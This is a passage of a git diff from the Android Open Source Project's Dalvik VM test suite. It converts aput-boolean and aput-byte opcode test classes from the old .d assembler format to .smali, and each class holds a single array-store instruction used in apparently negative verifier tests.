-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali
new file mode 100644
index 0000000..099cc98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_4.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.d
deleted file mode 100644
index ecaf950..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_5.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIZ)V
-.limit regs 10
-
-
-       aput-boolean v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali
new file mode 100644
index 0000000..8924947
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_5.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.d
deleted file mode 100644
index db2bf25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_6.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIZ)V
-.limit regs 10
-
-
-       aput-boolean v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali
new file mode 100644
index 0000000..4186a7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_6.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIZ)V
+.registers 10
+
+
+       aput-boolean v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.d
deleted file mode 100644
index 7e9ed2f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_7.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIZ)V
-.limit regs 10
-
-       aput-boolean v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali
new file mode 100644
index 0000000..ed7a575
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_7.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 10
+
+       aput-boolean v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.d
deleted file mode 100644
index bf92b91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_8.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZFZ)V
-.limit regs 11
-
-       aput-boolean v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali
new file mode 100644
index 0000000..494a3548
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_8.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZFZ)V
+.registers 11
+
+       aput-boolean v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.d
deleted file mode 100644
index e42fd3a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_boolean_9.java
-.class public dot.junit.opcodes.aput_boolean.d.T_aput_boolean_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([ZIZ)V
-.limit regs 11
-
-       aput-boolean v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali
new file mode 100644
index 0000000..6de75fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_boolean/d/T_aput_boolean_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_boolean_9.java"
+.class  public Ldot/junit/opcodes/aput_boolean/d/T_aput_boolean_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZIZ)V
+.registers 11
+
+       aput-boolean v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.d
deleted file mode 100644
index 097ae50..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_1.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIB)V
-.limit regs 11
-
-       aput-byte v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali
new file mode 100644
index 0000000..c737802
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_1.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 11
+
+       aput-byte v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.d
deleted file mode 100644
index 55f781e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_2.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BDB)V
-.limit regs 11
-
-
-       aput-byte v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali
new file mode 100644
index 0000000..a698991
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_2.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BDB)V
+.registers 11
+
+
+       aput-byte v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.d
deleted file mode 100644
index 56844377..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_3.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIJ)V
-.limit regs 11
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali
new file mode 100644
index 0000000..437aca1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_3.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIJ)V
+.registers 11
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.d
deleted file mode 100644
index 06e4eff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_4.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IB)V
-.limit regs 10
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali
new file mode 100644
index 0000000..aee66e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_4.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.d
deleted file mode 100644
index 2835e5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_5.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIB)V
-.limit regs 10
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali
new file mode 100644
index 0000000..8c3ea53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_5.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.d
deleted file mode 100644
index 66da57c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_6.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIB)V
-.limit regs 10
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali
new file mode 100644
index 0000000..29bdaf8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_6.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.d
deleted file mode 100644
index 4fb862b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_7.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIB)V
-.limit regs 10
-
-       aput-byte v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali
new file mode 100644
index 0000000..4d19358
--- /dev/null
